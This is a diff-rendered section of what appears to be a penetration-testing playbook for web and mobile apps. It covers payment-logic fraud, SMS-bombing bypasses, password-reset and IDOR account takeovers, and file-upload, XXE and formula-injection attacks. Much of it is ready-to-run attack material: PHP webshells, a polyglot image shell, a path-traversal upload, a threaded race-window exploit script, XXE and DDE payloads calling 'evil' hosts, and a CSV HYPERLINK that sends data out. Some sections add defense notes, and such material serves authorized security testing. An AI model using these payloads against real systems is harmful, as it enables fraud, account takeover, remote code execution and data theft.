Phone numbers like `13845675678` are masked differently across endpoints:
|
|
356
|
+
```
|
|
357
|
+
/api/profile/me → 138****5678
|
|
358
|
+
/api/order/list → 1384***5678
|
|
359
|
+
/api/coupon/list → 13845**678
|
|
360
|
+
/api/notice/preview → 138456*5678
|
|
361
|
+
```
|
|
362
|
+
Combine the masked positions across endpoints to reconstruct the full digits. Same applies to email addresses (`a****@gmail.com` vs `ab***@gmail.com`).
|
|
363
|
+
|
|
364
|
+
**Defense**: pick ONE masking rule and enforce it via a shared library. Unit-test that all serializers produce byte-identical output for the same field.
|
|
365
|
+
|
|
366
|
+
### 10.4 Sensitive Field Leak in Common Responses
|
|
367
|
+
|
|
368
|
+
Profile / login / cart responses often over-expose:
|
|
369
|
+
```http
|
|
370
|
+
GET /api/user/profile
|
|
371
|
+
{
|
|
372
|
+
"id": 31, "username": "alice",
|
|
373
|
+
"password": "$2a$10$...", ← BCrypt hash leaks
|
|
374
|
+
"id_card": "320...8412", ← full ID card
|
|
375
|
+
"phone": "13888888888", ← unmasked phone
|
|
376
|
+
"real_name": "...",
|
|
377
|
+
"address": "..."
|
|
378
|
+
}
|
|
379
|
+
```
|
|
380
|
+
Verify: search every single response for the keys `password`, `passwd`, `salt`, `id_card`, `idcard`, `身份证`, `cardNumber`, `bankCard`, `email`, `phone`, `mobile`. If any user-related response contains them — that's a P1 finding by itself.
|
|
381
|
+
|
|
382
|
+
**Compliance impact**: 网安法 §38, GDPR Art. 5(1)(c) "data minimisation".
|
|
383
|
+
|
|
384
|
+
---
|
|
385
|
+
|
|
386
|
+
## 11. Payment Vulnerability Cases / 支付逻辑漏洞实战场景
|
|
387
|
+
|
|
388
|
+
### 11.1 0元购 via `prizeIdList` Removal — Activity Registration
|
|
389
|
+
|
|
390
|
+
**Target**: Keep app "命中注定 520 | 小天使主题线上跑" event registration (paid prizes).
|
|
391
|
+
|
|
392
|
+
```http
|
|
393
|
+
POST /activity/register
|
|
394
|
+
{
|
|
395
|
+
"activityId": "...",
|
|
396
|
+
"prizeIdList": ["6264e6948fe587000113e2d9"],
|
|
397
|
+
"userId": "..."
|
|
398
|
+
}
|
|
399
|
+
→ {"ok": true, "payType": "paid", "amount": 38}
|
|
400
|
+
|
|
401
|
+
# Modified request — prizeIdList REMOVED entirely
|
|
402
|
+
POST /activity/register
|
|
403
|
+
{
|
|
404
|
+
"activityId": "...",
|
|
405
|
+
"userId": "..."
|
|
406
|
+
}
|
|
407
|
+
→ {"ok": true, "payType": "free"} ← ✅ 0 元报名成功,仍然生效
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
**Reproduce**: Burp intercept the registration request, delete the entire `prizeIdList` key, forward.
|
|
411
|
+
|
|
412
|
+
**Root cause**: server treats "no paid prize listed" as "no payment required", but the activity DB record still grants the event seat.
|
|
413
|
+
|
|
414
|
+
### 11.2 0元购 via Decimal Quantity — Shopping Cart
|
|
415
|
+
|
|
416
|
+
**Target**: B2C e-commerce (laptop ¥500).
|
|
417
|
+
|
|
418
|
+
```http
|
|
419
|
+
PUT /cart/update
|
|
420
|
+
{"id": 114016, "skuQty": 0.02}
|
|
421
|
+
|
|
422
|
+
# Cart UI shows: ¥500.00 → ¥10.00
|
|
423
|
+
# Checkout passes, modal payment dialog charges ¥10
|
|
424
|
+
# Order shipped: 1 full laptop
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
**Variant — food delivery**:
|
|
428
|
+
```http
|
|
429
|
+
POST /order/place
|
|
430
|
+
{"items": [{"FoodNum": 0.01, "foodId": 88}]}
|
|
431
|
+
|
|
432
|
+
# 长鱼汤 ¥68 → 应付 ¥0.68
|
|
433
|
+
# orderId: 2206100122496404, payStatus: 1
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
**Defense rule**: in any quantity field validate `quantity ∈ ℤ ∧ quantity ≥ 1` server-side. Never multiply float quantity by float price; convert to integer cents and integer count.
|
|
437
|
+
|
|
438
|
+
### 11.3 Half-Price Recharge via Decimal Precision
|
|
439
|
+
|
|
440
|
+
```http
|
|
441
|
+
POST /wallet/recharge
|
|
442
|
+
{"amount": 0.019}
|
|
443
|
+
|
|
444
|
+
# Pay gateway charges: ¥0.01 (rounded down)
|
|
445
|
+
# Wallet credit: ¥0.02 (rounded up)
|
|
446
|
+
# Net per cycle: ¥0.01 free
|
|
447
|
+
```
|
|
448
|
+
|
|
449
|
+
**Defense**: keep all monetary values as integer cents end-to-end. Do not let the front-end submit fractional cents.
|
|
450
|
+
|
|
451
|
+
### 11.4 Negative Coupon / Negative Quantity — Reverse Charge
|
|
452
|
+
|
|
453
|
+
```http
|
|
454
|
+
POST /checkout
|
|
455
|
+
{"price": 99, "couponAmount": -100} → final price = 99 + 100 = 199 ❌
|
|
456
|
+
{"itemId": "x", "quantity": -5, "price": 100} → total = -500 → bank credit
|
|
457
|
+
```
|
|
458
|
+
|
|
459
|
+
Test order: per-field, swap to `-1`, `0`, `99999999`, `0.01`, `-99.99`. Note pgsql vs mysql vs application-level handle these differently.
|
|
460
|
+
|
|
461
|
+
### 11.5 Status Field Forgery — Skip Real Payment
|
|
462
|
+
|
|
463
|
+
```http
|
|
464
|
+
POST /order/submit
|
|
465
|
+
{
|
|
466
|
+
"cart_id": "1234",
|
|
467
|
+
"payment_status": "paid", ← client-controlled, server trusts
|
|
468
|
+
"is_paid": 1
|
|
469
|
+
}
|
|
470
|
+
→ {"orderStatus": "success"}
|
|
471
|
+
```
|
|
472
|
+
|
|
473
|
+
Companion bug — client trusts a server response field:
|
|
474
|
+
```http
|
|
475
|
+
# Real server response:
|
|
476
|
+
{"error_msg":"旧密码错误","error_code":99999,"success":false}
|
|
477
|
+
# Modified by Burp on the way back to the browser:
|
|
478
|
+
{"success": true, "error_code": 1}
|
|
479
|
+
```
|
|
480
|
+
Front-end's `if (response.success) { goNextStep(); }` happily proceeds. This pattern shows up in change-password / change-phone / withdraw-money / sensitive flows.
|
|
481
|
+
|
|
482
|
+
### 11.6 Coupon / Optional Currency Fields — Stack & Override
|
|
483
|
+
|
|
484
|
+
The full per-field test list (Burp tab "Params" → modify each):
|
|
485
|
+
```
|
|
486
|
+
price | amount | total | total_amount | total_price → 0.01, -100, 999999999
|
|
487
|
+
discount_code | coupon_id | coupon_amount → reuse, stack, negative
|
|
488
|
+
currency | currency_code | currency_unit → switch USD ↔ IDR ↔ VND
|
|
489
|
+
payment_method | gateway | channel → invalid name, sandbox name
|
|
490
|
+
installments | period → 0, -1, 99
|
|
491
|
+
account_id | receiver | username | uid → swap to attacker / victim
|
|
492
|
+
return_url | notify_url | callback_url → attacker server (capture confirmation)
|
|
493
|
+
```
|
|
494
|
+
|
|
495
|
+
### 11.7 Multi-Device Concurrent Subscription Discount
|
|
496
|
+
|
|
497
|
+
Already covered in [SKILL.md §2 Multi-Device Concurrent VIP Subscription](./SKILL.md). Practical Burp recipe:
|
|
498
|
+
|
|
499
|
+
```text
|
|
500
|
+
1. Login same account on 3 devices (or 3 browser sessions in incognito)
|
|
501
|
+
2. On each, walk through to the "支付" sheet but DO NOT click pay yet
|
|
502
|
+
3. On device 1, complete payment → wallet/VIP +1 month at 优惠价
|
|
503
|
+
4. Within 30s, complete payment on device 2 → +1 month at 优惠价 again (服务端没锁)
|
|
504
|
+
5. Repeat on device 3
|
|
505
|
+
→ One discount = N months VIP
|
|
506
|
+
```
|
|
507
|
+
|
|
508
|
+
Same trick on "补差价升级会员" (上级 VIP from monthly to yearly while the system thinks each top-up is the first).
|
|
509
|
+
|
|
510
|
+
---
|
|
511
|
+
|
|
512
|
+
## 12. Registration / Captcha Real-World Cases / 注册与验证码实战场景
|
|
513
|
+
|
|
514
|
+
### 12.1 Captcha Not Bound to Phone Number — Account Hijack via Registration
|
|
515
|
+
|
|
516
|
+
```text
|
|
517
|
+
Normal flow:
|
|
518
|
+
1. Enter phone: 13888888887
|
|
519
|
+
2. Receive SMS code: 1468
|
|
520
|
+
3. POST /register body: {"phone": "13888888887", "code": "1468", "username": "self"}
|
|
521
|
+
|
|
522
|
+
Bypass flow:
|
|
523
|
+
1. Send code to YOUR phone: 13888888887 → code "1468" arrives
|
|
524
|
+
2. Burp intercept the registration POST:
|
|
525
|
+
{"phone": "VICTIM_PHONE", "code": "1468", "username": "self"}
|
|
526
|
+
3. Backend only checks "the latest issued code is 1468" globally → registers a NEW
|
|
527
|
+
account bound to VICTIM_PHONE → if the system also offers "register login by phone",
|
|
528
|
+
the victim is now locked out / impersonated.
|
|
529
|
+
```
|
|
530
|
+
|
|
531
|
+
**Defense**: pair (phone, code) atomically — code is only valid for the phone it was sent to.
|
|
532
|
+
|
|
533
|
+
### 12.2 SMS Bombing — Six Bypass Patterns
|
|
534
|
+
|
|
535
|
+
When the basic flow `POST /sendCode {"phone": "..."}` is rate-limited, real-world bypasses:
|
|
536
|
+
|
|
537
|
+
```text
|
|
538
|
+
1. CONCURRENCY: Turbo Intruder concurrentConnections=30 (see SKILL §2)
|
|
539
|
+
2. COOKIE TRICK: Delete JSESSIONID → send → server resets per-session counter to 0
|
|
540
|
+
3. WHITESPACE / ENCODING:
|
|
541
|
+
"phone": "13888888888 " (trailing space)
|
|
542
|
+
"phone": "+8613888888888"
|
|
543
|
+
"phone": "008613888888888"
|
|
544
|
+
"phone": "13888888888\r\n"
|
|
545
|
+
"phone": "13888888888,13888888888" (some backends split, send twice)
|
|
546
|
+
4. LENGTH OVERFLOW: send 12 digits "138888888889" — gateway truncates to first 11,
|
|
547
|
+
while the per-number counter sees a "different" number.
|
|
548
|
+
5. PARAMETER POLLUTION: ?phone=A&phone=A (or phone=[A,A] in JSON arrays)
|
|
549
|
+
6. MULTI-INTERFACE: same SMS service exposed at /api/sendCode AND /api/v2/sendCode,
|
|
550
|
+
counter not shared.
|
|
551
|
+
```
|
|
552
|
+
|
|
553
|
+
**Defense**: trim+normalize the phone field server-side before any rate-limiting decision. Apply rate limit at "normalized phone" + "IP" + "deviceId".
|
|
554
|
+
|
|
555
|
+
### 12.3 Captcha Echoed in Response
|
|
556
|
+
|
|
557
|
+
```http
|
|
558
|
+
GET /tcode.html?phoneNumber=18888888887
|
|
559
|
+
HTTP/1.1 200 OK
|
|
560
|
+
{"msg": "操作成功", "randm": 9759, "code": 0}
|
|
561
|
+
^^^^^^
|
|
562
|
+
actual SMS code
|
|
563
|
+
```
|
|
564
|
+
Audit move: `grep '"randm"\|"verify_code"\|"captcha"\|"sms_code"' all-responses.log` — if any user-issued code shows up in JSON, it's instantly P0.
|
|
565
|
+
|
|
566
|
+
### 12.4 Frontend Form Bypass — Direct Backend Call
|
|
567
|
+
|
|
568
|
+
```text
|
|
569
|
+
Front-end has: image_captcha + sms_code + phone + password
|
|
570
|
+
client-side JS rejects empty fields
|
|
571
|
+
Backend handler: /api/register validates only sms_code+phone
|
|
572
|
+
|
|
573
|
+
Bypass: directly call /api/register without image_captcha — server accepts.
|
|
574
|
+
(some systems even accept missing sms_code if the parameter key is absent.)
|
|
575
|
+
```
|
|
576
|
+
|
|
577
|
+
### 12.5 Password Field XSS (Stored)
|
|
578
|
+
|
|
579
|
+
Registration nickname / bio / signature commonly accepts:
|
|
580
|
+
```html
|
|
581
|
+
<img src=x onerror=alert(document.cookie)>
|
|
582
|
+
```
|
|
583
|
+
Render context matters — verify it triggers in profile page / comment area / admin user-list (admin XSS = full takeover).
|
|
584
|
+
|
|
585
|
+
---
|
|
586
|
+
|
|
587
|
+
## 13. Password Recovery Real-World Cases / 找回密码实战场景
|
|
588
|
+
|
|
589
|
+
### 13.1 `auth = md5(rand())` on Windows PHP — Full Enumeration
|
|
590
|
+
|
|
591
|
+
```php
|
|
592
|
+
// Vulnerable token generator on Windows PHP:
|
|
593
|
+
$auth = md5(rand()); // RAND_MAX = 32768 on Windows builds
|
|
594
|
+
$link = "/resetpassword.php?id=$auth";
|
|
595
|
+
mail($user, "click: $link");
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
Attacker dictionary:
|
|
599
|
+
```php
|
|
600
|
+
<?php
|
|
601
|
+
$dict = [];
|
|
602
|
+
for ($i = 0; $i <= 32768; $i++) {
|
|
603
|
+
$dict[] = md5($i);
|
|
604
|
+
}
|
|
605
|
+
file_put_contents('auth_dict.txt', implode("\n", $dict));
|
|
606
|
+
```
|
|
607
|
+
|
|
608
|
+
Burp Intruder over `/resetpassword.php?id=§MD5§` with the dictionary — successful tokens redirect to a "set new password" page. From there, set the password for whichever user the token unlocks.
|
|
609
|
+
|
|
610
|
+
**Variants**:
|
|
611
|
+
- `mt_rand()` without `mt_srand()` on PHP < 7.1 — predictable seed
|
|
612
|
+
- `Math.random()` in Node.js — Xorshift128+, can be reversed from ~5 outputs (use `v8-randomness-predictor`)
|
|
613
|
+
- C# `new Random()` default seed = `Environment.TickCount` — narrow range
|
|
614
|
+
|
|
615
|
+
### 13.2 Session-Replacement Reset Attack
|
|
616
|
+
|
|
617
|
+
```text
|
|
618
|
+
1. Attacker: request password reset for ATTACKER@example.com → receive email with valid token
|
|
619
|
+
2. Attacker: open the email link → reach "enter new password" page (server tracks "in-progress reset" in session)
|
|
620
|
+
3. Burp intercept the final POST:
|
|
621
|
+
POST /reset/setpwd
|
|
622
|
+
{"email": "ATTACKER@example.com", "newPwd": "P@ssw0rd!"}
|
|
623
|
+
→ Modify to:
|
|
624
|
+
{"email": "VICTIM@example.com", "newPwd": "P@ssw0rd!"}
|
|
625
|
+
4. Server checks "is there an in-progress reset in session?" → YES → applies new password to
|
|
626
|
+
whatever email is in the body → victim's password is now P@ssw0rd!
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
**Root cause**: server stores "reset in progress" in the session but does NOT bind it to the originally-validated email. Defense: tie the session entry to the specific user/email; fail closed if the body's email doesn't match.
|
|
630
|
+
|
|
631
|
+
### 13.3 Reset Code Replacement in Verification Step
|
|
632
|
+
|
|
633
|
+
```text
|
|
634
|
+
Step 1: Enter username: "victim" → server says "code sent to victim's phone"
|
|
635
|
+
Step 2: Enter code: "111111" (wrong) → server returns failure
|
|
636
|
+
Step 3: Burp intercepts the failure response → modify to:
|
|
637
|
+
{"success": true, "step": 3}
|
|
638
|
+
Step 4: Front-end sees success → moves to "set new password" page
|
|
639
|
+
Step 5: Submit new password → server (without re-validating step 2) accepts → victim's password reset
|
|
640
|
+
```
|
|
641
|
+
|
|
642
|
+
This is the same response-tampering pattern as §11.5; just applied to recovery flow.
|
|
643
|
+
|
|
644
|
+
### 13.4 Reset Token NOT Bound to Account
|
|
645
|
+
|
|
646
|
+
```text
|
|
647
|
+
1. Account A (yours): request reset → receive token T_A
|
|
648
|
+
2. Account B (victim): request reset → receive token T_B (you don't see this; victim does)
|
|
649
|
+
3. Use TOKEN T_A but in URL/body specify VICTIM:
|
|
650
|
+
/reset/confirm?token=T_A&user=victim
|
|
651
|
+
4. Server: "T_A is valid, confirm reset for whoever the body says" → resets victim
|
|
652
|
+
```
|
|
653
|
+
|
|
654
|
+
Defense: at token issuance, persist `(token, user_id, expiry, used_flag)` and validate every step that the token's bound `user_id` matches the request's `user_id`.
|
|
655
|
+
|
|
656
|
+
### 13.5 Email-Change → Reset-Token Replay
|
|
657
|
+
|
|
658
|
+
```text
|
|
659
|
+
1. Have account A (your own) → request reset → token T issued via email
|
|
660
|
+
2. Login normally → change email from A@... to A2@...
|
|
661
|
+
3. Token T was bound to email A@..., now use it:
|
|
662
|
+
POST /reset/confirm {"token": "T", "newPwd": "..."}
|
|
663
|
+
If server bound token to email-string but doesn't enforce "current user's current email"
|
|
664
|
+
→ replay still works, hijacks the account.
|
|
665
|
+
```
|
|
666
|
+
|
|
667
|
+
Defense: bind reset tokens to immutable user_id, not email-string.
|
|
668
|
+
|
|
669
|
+
### 13.6 Email Verification Bypass via Registration
|
|
670
|
+
|
|
671
|
+
```text
|
|
672
|
+
Register account with VICTIM@example.com (unverified):
|
|
673
|
+
→ If the system creates the account immediately and "merges" with future verified attempts,
|
|
674
|
+
the attacker can pre-register every interesting username/email and wait.
|
|
675
|
+
→ If victim later signs up with the same email, server may treat as "repeat registration"
|
|
676
|
+
and forward auth state to the existing record → attacker takeover.
|
|
677
|
+
```
|
|
678
|
+
|
|
679
|
+
### 13.7 Mobile-Scenario Redirect Hijack
|
|
680
|
+
|
|
681
|
+
```text
|
|
682
|
+
After password reset, server redirects:
|
|
683
|
+
GET /reset/done?next=/login
|
|
684
|
+
|
|
685
|
+
Bypass:
|
|
686
|
+
GET /reset/done?next=https://attacker.com/login ← if server doesn't validate next= → SSRF/phish
|
|
687
|
+
GET /reset/done?next=//attacker.com ← protocol-relative
|
|
688
|
+
GET /reset/done?next=/login@attacker.com ← user-info trick
|
|
689
|
+
GET /reset/done?next=javascript:alert(1) ← XSS if rendered in <a href>
|
|
690
|
+
```
|
|
691
|
+
|
|
692
|
+
(Full URL-redirect bypass list in [CHECKLIST.md §11](./CHECKLIST.md).)
|
|
693
|
+
|
|
694
|
+
---
|
|
695
|
+
|
|
696
|
+
## 14. IDOR / Authorization — Reproducible Drills
|
|
697
|
+
|
|
698
|
+
> Companion to [SKILL.md §11.6](./SKILL.md) and [CHECKLIST.md §8](./CHECKLIST.md).
|
|
699
|
+
> Each drill below is a 30-second reproduction window: capture once, swap one
|
|
700
|
+
> field, replay. The point is to make the test **boring enough to run on every endpoint**.
|
|
701
|
+
|
|
702
|
+
### 14.1 Horizontal IDOR — One-Field-Swap Drill
|
|
703
|
+
|
|
704
|
+
```bash
|
|
705
|
+
SESSION_A="<your own cookie>"
|
|
706
|
+
A_RESOURCE_ID=10001 # your own order/profile id
|
|
707
|
+
B_RESOURCE_ID=10002 # neighboring id, may be victim
|
|
708
|
+
|
|
709
|
+
curl -s -H "Cookie: $SESSION_A" \
|
|
710
|
+
"https://target/api/orders/$A_RESOURCE_ID" -o /tmp/a.json
|
|
711
|
+
|
|
712
|
+
curl -s -H "Cookie: $SESSION_A" \
|
|
713
|
+
"https://target/api/orders/$B_RESOURCE_ID" -o /tmp/b.json
|
|
714
|
+
|
|
715
|
+
diff /tmp/a.json /tmp/b.json
|
|
716
|
+
```
|
|
717
|
+
|
|
718
|
+
If `b.json` returns a real order belonging to user B (different name / phone /
|
|
719
|
+
amount), it's IDOR. Run with `seq 10000 10100` for an enumeration sweep — but
|
|
720
|
+
**stop at the first three confirmed hits and report**, do not exfiltrate volume.
|
|
721
|
+
|
|
722
|
+
### 14.2 Vertical IDOR — Role / is_admin Switch in Body
|
|
723
|
+
|
|
724
|
+
```http
|
|
725
|
+
POST /api/user/profile/update HTTP/1.1
|
|
726
|
+
Host: target.com
|
|
727
|
+
Cookie: session=NORMAL_USER
|
|
728
|
+
Content-Type: application/json
|
|
729
|
+
|
|
730
|
+
{
|
|
731
|
+
"uid": 10001,
|
|
732
|
+
"nickname": "test",
|
|
733
|
+
"role": "admin", ← inject role
|
|
734
|
+
"is_admin": true, ← alternate field name
|
|
735
|
+
"level": 99, ← privilege-tier int
|
|
736
|
+
"department_id": 1 ← sometimes "1" = root org
|
|
737
|
+
}
|
|
738
|
+
```
|
|
739
|
+
|
|
740
|
+
Replay and immediately call an admin-only endpoint
|
|
741
|
+
(`/api/admin/users` etc.) with the same cookie. If the admin endpoint now
|
|
742
|
+
returns 200 with sensitive data, the role field in the body or the resulting
|
|
743
|
+
session cache was trusted server-side.
|
|
744
|
+
|
|
745
|
+
### 14.3 UID-vs-Token Mismatch — The Boring But Devastating Test
|
|
746
|
+
|
|
747
|
+
```python
|
|
748
|
+
import requests
|
|
749
|
+
|
|
750
|
+
S_A = requests.Session()
|
|
751
|
+
S_A.cookies.set("token", "TOKEN_A_VALID")
|
|
752
|
+
|
|
753
|
+
for victim_uid in range(10000, 10010):
|
|
754
|
+
r = S_A.get(f"https://target/api/account/info",
|
|
755
|
+
params={"uid": victim_uid})
|
|
756
|
+
print(victim_uid, r.status_code, r.text[:200])
|
|
757
|
+
```
|
|
758
|
+
|
|
759
|
+
Token is A's, `uid` is B's. If response varies by `uid` (i.e. server uses the
|
|
760
|
+
body's `uid` instead of the token's identity), it's classic horizontal IDOR.
|
|
761
|
+
This pattern is the single most common high-severity IDOR finding in
|
|
762
|
+
e-commerce / fintech APIs.
|
|
763
|
+
|
|
764
|
+
### 14.4 Email / Phone Re-bind Without Old-Verifier
|
|
765
|
+
|
|
766
|
+
```http
|
|
767
|
+
POST /api/user/bind/email HTTP/1.1
|
|
768
|
+
Cookie: session=VICTIM_SESSION
|
|
769
|
+
Content-Type: application/json
|
|
770
|
+
|
|
771
|
+
{
|
|
772
|
+
"new_email": "attacker@evil.com",
|
|
773
|
+
"verify_code": "ANY" ← drop / leave fixed
|
|
774
|
+
}
|
|
775
|
+
```
|
|
776
|
+
|
|
777
|
+
Three classes of bug to confirm in one shot:
|
|
778
|
+
1. Endpoint accepts new email without **old email confirmation** → takeover.
|
|
779
|
+
2. Endpoint accepts any `verify_code` → broken validation.
|
|
780
|
+
3. Endpoint accepts request without any code field → no enforcement.
|
|
781
|
+
|
|
782
|
+
If any of the three pass, treat as account takeover.
|
|
783
|
+
|
|
784
|
+
### 14.5 Multi-Channel Inconsistency Sweep
|
|
785
|
+
|
|
786
|
+
```bash
|
|
787
|
+
# Same logical action, different surfaces:
|
|
788
|
+
curl -X POST https://web.target.com/api/v1/order/cancel/123 ...
|
|
789
|
+
curl -X POST https://m.target.com/h5/order/cancel \
|
|
790
|
+
-d "id=123" ...
|
|
791
|
+
curl -X POST https://api.target.com/mobile/order/cancel \
|
|
792
|
+
-H "User-Agent: TargetApp/3.5.0 (Android)" \
|
|
793
|
+
-d "id=123" ...
|
|
794
|
+
curl -X POST https://target.com/admin/order/cancel \
|
|
795
|
+
-d "order_id=123" ...
|
|
796
|
+
```
|
|
797
|
+
|
|
798
|
+
Web blocks, mobile open. App blocks, internal API open. **Production reality**:
|
|
799
|
+
these four endpoints are written by four different teams over four years and
|
|
800
|
+
will not have aligned auth. Always test all four.
|
|
801
|
+
|
|
802
|
+
---
|
|
803
|
+
|
|
804
|
+
## 15. File Upload — Payload Library and Reproduction Windows
|
|
805
|
+
|
|
806
|
+
> Companion to [SKILL.md §11.8](./SKILL.md) and [CHECKLIST.md §16](./CHECKLIST.md).
|
|
807
|
+
|
|
808
|
+
### 15.1 Extension Bypass Lab
|
|
809
|
+
|
|
810
|
+
For each upload point, run **all eight** below before declaring it safe.
|
|
811
|
+
The list is ordered from "lazy filter" to "thorough filter":
|
|
812
|
+
|
|
813
|
+
```text
|
|
814
|
+
shell.php ← naive blacklist absent
|
|
815
|
+
shell.php5 / .phtml / .pht ← rare extensions still served by Apache
|
|
816
|
+
shell.PhP / .pHP ← case-mix
|
|
817
|
+
shell.php.jpg ← double-ext, server picks first
|
|
818
|
+
shell.php;.jpg ← Apache ;-split
|
|
819
|
+
shell.php%00.jpg ← null byte (still alive on legacy stacks)
|
|
820
|
+
shell.php. ← trailing dot (Windows IIS)
|
|
821
|
+
shell.php/ ← trailing slash (some routes)
|
|
822
|
+
```
|
|
823
|
+
|
|
824
|
+
Companion JSP / ASP / WAR variants:
|
|
825
|
+
|
|
826
|
+
```text
|
|
827
|
+
shell.jsp / .jspx / .jsw / .jsv / .jspf
|
|
828
|
+
shell.aspx / .asp / .asa / .cer / .cdx / .htr
|
|
829
|
+
exploit.war (deploy via Tomcat manager)
|
|
830
|
+
```
|
|
831
|
+
|
|
832
|
+
### 15.2 Polyglot Upload — Image That Is Also a Shell
|
|
833
|
+
|
|
834
|
+
```bash
|
|
835
|
+
# JPG header + PHP shell appended:
|
|
836
|
+
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' \
|
|
837
|
+
> poly.jpg
|
|
838
|
+
echo '<?php @eval($_REQUEST[0]); ?>' >> poly.jpg
|
|
839
|
+
|
|
840
|
+
# Upload as shell.jpg via legitimate avatar endpoint
|
|
841
|
+
# Then trigger via include / interpreter:
|
|
842
|
+
# - Apache misconfig: AddHandler application/x-httpd-php .jpg
|
|
843
|
+
# - Or LFI: ?file=/uploads/123/shell.jpg
|
|
844
|
+
```
|
|
845
|
+
|
|
846
|
+
Verify the file is still recognized as a JPG by `file poly.jpg` (so MIME-sniff
|
|
847
|
+
based filters pass).
|
|
848
|
+
|
|
849
|
+
### 15.3 Office (docx/xlsx) Repack with XXE / DDE
|
|
850
|
+
|
|
851
|
+
```bash
|
|
852
|
+
mkdir doc-payload && cd doc-payload
|
|
853
|
+
unzip ../template.docx
|
|
854
|
+
# Inject XXE in word/document.xml:
|
|
855
|
+
sed -i 's#<w:body>#<w:body><!DOCTYPE foo [<!ENTITY x SYSTEM "http://evil/dtd">]>\&x;#' \
|
|
856
|
+
word/document.xml
|
|
857
|
+
zip -r ../malicious.docx .
|
|
858
|
+
cd ..
|
|
859
|
+
|
|
860
|
+
# Upload malicious.docx to whatever consumes Office attachments
|
|
861
|
+
```
|
|
862
|
+
|
|
863
|
+
DDE variant (executes on Excel open with default settings on legacy Office):
|
|
864
|
+
|
|
865
|
+
```text
|
|
866
|
+
=cmd|'/c calc.exe'!A1
|
|
867
|
+
=cmd|'/c powershell -nop -w hidden -c "..."'!A1
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
### 15.4 Filename Path Traversal — Storage Pwn
|
|
871
|
+
|
|
872
|
+
```http
|
|
873
|
+
POST /api/upload HTTP/1.1
|
|
874
|
+
Content-Type: multipart/form-data; boundary=---x
|
|
875
|
+
|
|
876
|
+
---x
|
|
877
|
+
Content-Disposition: form-data; name="file"; filename="../../../../var/www/html/shell.php"
|
|
878
|
+
Content-Type: application/octet-stream
|
|
879
|
+
|
|
880
|
+
<?php system($_GET['c']); ?>
|
|
881
|
+
---x--
|
|
882
|
+
```
|
|
883
|
+
|
|
884
|
+
If the server uses the multipart filename verbatim in `os.path.join(base, filename)`
|
|
885
|
+
without sanitization, the file lands at the traversed path. Confirm by hitting
|
|
886
|
+
`https://target/shell.php?c=id`.
|
|
887
|
+
|
|
888
|
+
### 15.5 Race-Window Exploit — File Available Before AV Cleanup
|
|
889
|
+
|
|
890
|
+
```python
|
|
891
|
+
import requests, threading, time
|
|
892
|
+
|
|
893
|
+
UPLOAD = "https://target/api/upload"
|
|
894
|
+
ACCESS = "https://target/uploads/{}/shell.php"
|
|
895
|
+
|
|
896
|
+
def upload(i):
|
|
897
|
+
files = {"file": ("shell.php", "<?php system($_GET[0]); ?>", "image/jpeg")}
|
|
898
|
+
r = requests.post(UPLOAD, files=files, cookies={"session": "..."})
|
|
899
|
+
return r.json().get("path")
|
|
900
|
+
|
|
901
|
+
def hammer_access(path):
|
|
902
|
+
deadline = time.time() + 10
|
|
903
|
+
while time.time() < deadline:
|
|
904
|
+
r = requests.get(ACCESS.format(path), params={"0": "id"})
|
|
905
|
+
if "uid=" in r.text:
|
|
906
|
+
print("HIT", path); break
|
|
907
|
+
|
|
908
|
+
paths = [upload(i) for i in range(20)]
|
|
909
|
+
for p in paths:
|
|
910
|
+
threading.Thread(target=hammer_access, args=(p,)).start()
|
|
911
|
+
```
|
|
912
|
+
|
|
913
|
+
If the server has an AV/scan job that deletes WebShells but the file is
|
|
914
|
+
served between upload and scan, this 10-second window is your hit zone.
|
|
915
|
+
|
|
916
|
+
### 15.6 ZIP Bomb (Defense Verification, Use With Care)
|
|
917
|
+
|
|
918
|
+
```bash
|
|
919
|
+
# 42.zip (10MB on disk → 4.5PB decompressed):
|
|
920
|
+
# Get a public sample and upload to a "decompress on import" endpoint
|
|
921
|
+
curl -O https://www.bamsoftware.com/hacks/zipbomb/42.zip
|
|
922
|
+
# If the server CPU spikes / OOMs after import, decompression is unbounded.
|
|
923
|
+
```
|
|
924
|
+
|
|
925
|
+
Defense check: server must enforce single-file-decompressed-size + total-decompressed-size.
|
|
926
|
+
|
|
927
|
+
### 15.7 CSV / XLSX Formula Injection
|
|
928
|
+
|
|
929
|
+
Construct a CSV your service generates as an export OR feeds into Excel:
|
|
930
|
+
|
|
931
|
+
```csv
|
|
932
|
+
name,email
|
|
933
|
+
=cmd|'/c calc'!A1,attacker@example.com
|
|
934
|
+
=HYPERLINK("http://evil/?u="&A2&A3,"click here"),admin@target.com
|
|
935
|
+
@SUM(1+1)*cmd|'/c calc'!A1,test@example.com
|
|
936
|
+
+1+cmd|'/c calc'!A1,test2@example.com
|
|
937
|
+
-1+cmd|'/c calc'!A1,test3@example.com
|
|
938
|
+
```
|
|
939
|
+
|
|
940
|
+
Defense: prefix every field that starts with `=`, `+`, `-`, `@` with a single
|
|
941
|
+
quote, or use a dedicated CSV writer with `quoting=csv.QUOTE_ALL`.
|
|
942
|
+
|
|
943
|
+
---
|
|
944
|
+
|
|
945
|
+
## 16. SSRF / XXE / Out-of-Band — Field-Ready Payloads
|
|
946
|
+
|
|
947
|
+
> Companion to [SKILL.md §11.9](./SKILL.md) and [CHECKLIST.md §17](./CHECKLIST.md).
|
|
948
|
+
|
|
949
|
+
### 16.1 OOB Setup — One-Line Listeners
|
|
950
|
+
|
|
951
|
+
```bash
|
|
952
|
+
# DNSLog: register a domain at https://dnslog.cn or http://www.dnslog.cn
|
|
953
|
+
# Each request to <random>.<your>.dnslog.cn is logged.
|
|
954
|
+
|
|
955
|
+
# Burp Collaborator: in Burp Pro, Burp menu → Collaborator client → "Copy to clipboard"
|
|
956
|
+
|
|
957
|
+
# Self-hosted catch-all over HTTP:
|
|
958
|
+
python3 -m http.server 8080 # stdout shows requests
|
|
959
|
+
# or with logging body content:
|
|
960
|
+
ncat -lv -p 8080 -k -c 'cat'
|
|
961
|
+
```
|
|
962
|
+
|
|
963
|
+
Use the resulting domain (e.g. `xy12.YOUR.dnslog.cn`) in every payload below.
|
|
964
|
+
|
|
965
|
+
